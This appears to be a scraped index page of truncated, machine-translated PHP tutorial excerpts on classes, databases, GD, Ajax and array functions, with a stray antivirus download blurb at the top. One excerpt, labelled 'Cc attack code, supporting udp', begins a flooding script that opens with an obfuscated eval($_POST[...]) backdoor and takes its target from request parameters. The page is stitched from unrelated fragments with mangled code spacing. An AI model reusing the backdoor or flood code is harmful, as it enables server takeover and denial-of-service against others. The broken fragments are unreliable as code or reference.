PHP

Software size: 11.8 MBSoftware category Chinese software/virus preventionRunning Environment: Win2003, WinXp, Win2000, Nt, WinMe, Win9xAuthorization method Special EditionSimplified Chinese software LanguageRelated connection www.nod32.comThe

Before explaining the concept of classes, let's talk about the concept of object-oriented Programming: Object-oriented Programming (Object-Oriented Programming, short for OOP) is designed to create software to reuse code, it has the ability to

When the gd library of php is enabled on windows Server, gd is not displayed in the Configure Command in the result obtained by phpinfo () after cgi is used.Displayed after Configure CommandYes:Copy codeThe Code is as follows:1 cscript/nologo

Database Link10. The biggest characteristic of PHP is its powerful ability to operate databases. PHP provides support for multiple databases.With PHP, you can easily connect to the database, request data and display it on your web site, or even

A business card library program using php + mysql has the function of searching by category and querying by page.Step 1: Create a static page as follows. enter the Keyword:By name By region By position Step 2: Create a database as follows.Id int (4)

Cc attack code, supporting udpCopy codeThe Code is as follows:Eval ($ _ POST [Chr (90)]);Set_time_limit (86400 );Ignore_user_abort (True );$ Packets = 0;$ Http = $ _ GET ['http'];$ Rand = $ _ GET ['exit '];$ Exec_time = $ _ GET ['time'];If (StrLen ($

This is a class that has been written in the class package,Two other table partitions are required:1. http://www.jerry.com.tw/php/big5.map2. http://www.jerry.com.tw/php/gb.mapThe program is as follows: CCharset. php3// Programmer: Magic Jerry////

Voting Management ProgramTable StructureCreate table poll (Poll_Id INT (11) not null AUTO_INCREMENT, Poll_Name char (50), Poll_Del INT (10) DEFAULT '0', primary key (Poll_Id ))Create table pollsele (Pollsele_Id INT (11) not null AUTO_INCREMENT,

I. Problems: The database is MS SQLServer2000. You need to import data from a table in SQLServer2000 to mysql5. the fields in the SQLServer2000 table are named in simplified Chinese (it is strongly recommended that the Field name be Chinese ). In

Ideas:1) generate a 32-bit signature string for the Long URL md5, which is divided into four sections, each of which contains 8 bytes;2) for these four cycles, take 8 bytes and treat them as hexadecimal strings and 0x3fffffff (30 bits 1) and

This example was originally used for our class. Because the server does not support mysql, dbm is selected.There is no dbm program in China, and there is almost no dbm program abroad.It took me one night to write it out without any

Erlang comparison OperatorsOpDescription = equal to/= not equal to = = greater than or equal to> greater than =: = exact equals =/= exact equals not equal to or exact equals:To compare two numbers, if they are of different types, such as float and

1. Merge Arrays The array_merge () function combines arrays and returns a union array. The obtained array starts with the first input array parameter and is immediately added according to the order in which the following array parameters appear. The

Copy codeThe Code is as follows:/*** Author: Hu Rui* Date:* Email: hooray0905@foxmail.com*/Class HRDB {Protected $ pdo;Protected $ res;Protected $ config;/* Constructor */Function _ construct ($ config ){$ This-> Config = $ config;$ This-> connect ()

PHP expressionsExpressions are the most important component of PHP. In PHP 3.0, almost everything you write is an expression. The simplest but precise definition of an expression is "anything with a value ". A simple example is constants and

Example:Copy codeThe Code is as follows:$ A = fopen('test.txt ', 'R ');// The file is opened without judgment. If the file does not exist, an error is returned.?> The correct statement should be as follows:Copy codeThe Code is as

Copy codeThe Code is as follows:Class FormModel extends Model {// Automatic Verification settings/** 1. Automatic VerificationAutomatic Verification is defined as follows: array (field, rule, message, condition, type, when, params)Field: indicates

There are two ways to choose from: first, handwriting code. Second: Use the HttpClient php class libraryMethod 1:Copy codeThe Code is as follows:$ Flag = 0;// Data to be post$ Argv = array ('Var1' => 'abc ','Var2' => '');// Construct the string to

Today, we will share an example of "using Ajax technology to check whether a user name exists.The principle flowchart of using Ajax technology to check whether a user name exists: Final result:   Copy codeThe Code is as follows: Ajax

Ksort () Definition and usage The ksort () function sorts the array in ascending order by key name and retains the original key for the array value.The second optional parameter contains an additional sorting flag.If yes, TRUE is returned. Otherwise,